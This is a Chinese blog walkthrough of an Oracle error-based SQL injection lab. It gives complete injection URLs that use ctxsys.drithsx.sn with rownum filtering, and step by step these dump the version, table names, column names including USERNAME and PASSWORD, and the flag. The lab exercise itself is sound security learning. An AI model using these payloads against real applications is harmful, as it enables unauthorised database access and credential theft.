Oracle-报错注入

首先熟悉一下Oracle数据库的查询方式:
查询所有表:Selectfrom all_tables
查询出当前用户的表:select
from user_tables
查询出所有字段:selectfrom all_tab_columns
查询出当前用户的字段:select
from user_tab_columns
查询数据库版本:select*from V$version
联合查询注入语句:union all select null,null,null from dual
若无法联合查询注入,采用报错函数ctxsys.drithsx.sn(user,(语句))
报错注入无法输出太多,在mysql中使用limit m,n限制,在Oracle中使用rownum=1 and条件 and条件 来限定
上靶场:http://59.63.200.79:8808
首先检测是否可注入以及闭合条件:


然后尝试是否可以联合注入查询,以查数据库版本为例:
http://59.63.200.79:8808/?id=1%27%20union%20all%20select%20*from%20v$version%20--+


发现无法通过联合查询爆出信息。
使用报错函数尝试:
先查数据库名:http://59.63.200.79:8808/?id=1%27and%201=ctxsys.drithsx.sn(1,(select%20*%20from%20v$version%20where%20rownum=1))--+


爆出数据库版本。
查询当前用户表:http://59.63.200.79:8808/?id=1%27%20and%201=ctxsys.drithsx.sn(1,(select%20table_name%20from%20user_tables%20where%20rownum=1))%20--+


http://59.63.200.79:8808/?id=1%27%20and%201=ctxsys.drithsx.sn(1,(select%20table_name%20from%20user_tables%20where%20rownum=1%20and%20table_name%3C%3E%27admin%27))%20--+


爆出表名admin/news
爆出字段名:http://59.63.200.79:8808/?id=1%27%20and%201=ctxsys.drithsx.sn(1,(select%20column_name%20from%20user_tab_columns%20where%20rownum=1%20))%20--+


http://59.63.200.79:8808/?id=1%27%20and%201=ctxsys.drithsx.sn(1,(select%20column_name%20from%20user_tab_columns%20where%20rownum=1%20and%20column_name%3C%3E%27ID%27))%20--+


http://59.63.200.79:8808/?id=1%27%20and%201=ctxsys.drithsx.sn(1,(select%20column_name%20from%20user_tab_columns%20where%20rownum=1%20and%20column_name%3C%3E%27ID%27%20and%20column_name%3C%3E%27USER_NAME%27))%20--+


http://59.63.200.79:8808/?id=1%27%20and%201=ctxsys.drithsx.sn(1,(select%20column_name%20from%20user_tab_columns%20where%20rownum=1%20and%20column_name%3C%3E%27ID%27%20and%20column_name%3C%3E%27USER_NAME%27%20and%20column_name%3C%3E%27PASSWORD%27))%20--


http://59.63.200.79:8808/?id=1%27%20and%201=ctxsys.drithsx.sn(1,(select%20column_name%20from%20user_tab_columns%20where%20rownum=1%20and%20column_name%3C%3E%27ID%27%20and%20column_name%3C%3E%27USER_NAME%27%20and%20column_name%3C%3E%27PASSWORD%27%20and%20column_name%3C%3E%27FLAG_FLAG%27%20))%20--


http://59.63.200.79:8808/?id=1%27%20and%201=ctxsys.drithsx.sn(1,(select%20column_name%20from%20user_tab_columns%20where%20rownum=1%20and%20column_name%3C%3E%27ID%27%20and%20column_name%3C%3E%27USER_NAME%27%20and%20column_name%3C%3E%27PASSWORD%27%20and%20column_name%3C%3E%27FLAG_FLAG%27%20and%20column_name%3C%3E%27TITLE%27%20))%20--


爆出字段名ID、USER_NAME、PASSWORD、FLAG_FLAG、TITLE、CONTENT
至此 我们猜测这两个表的字段可能是admin(ID、USER_NAME、PASSWORD、FLAG_FLAG)/news(TITLE、CONTENT)

接下来查询表中FLAG_FLAG字段数据:
http://59.63.200.79:8808/?id=1%27%20and%201=ctxsys.drithsx.sn(1,(select%20FLAG_FLAG%20from%20admin%20where%20rownum=1))%20--+


获得flag.

最后还有一个问题:Oracle-报错注入中使用系统自带表可以查到所有表和字段,但是我怎么知道哪个字段是哪个表里的?比如靶场有admin/news表,字段有ID、USER_NAME、PASSWORD、FLAG_FLAG、TITLE、CONTENT 有没有别的语句去知道各个字段属于那个表?
后来找到了方法:select table_name from user_tab_columns where rownum=1 and column_name=’TITLE’
加上字段名限制

user_tables 和user_tab_columns是两个表

table_name既是user_tables表的字段,又是user_tab_columns表的字段


感觉就是查字段数时比较费劲,后面and条件限制一直加有点麻烦。

posted @ 2019-10-15 12:24  求知鱼  阅读(1009)  评论(0)    收藏  举报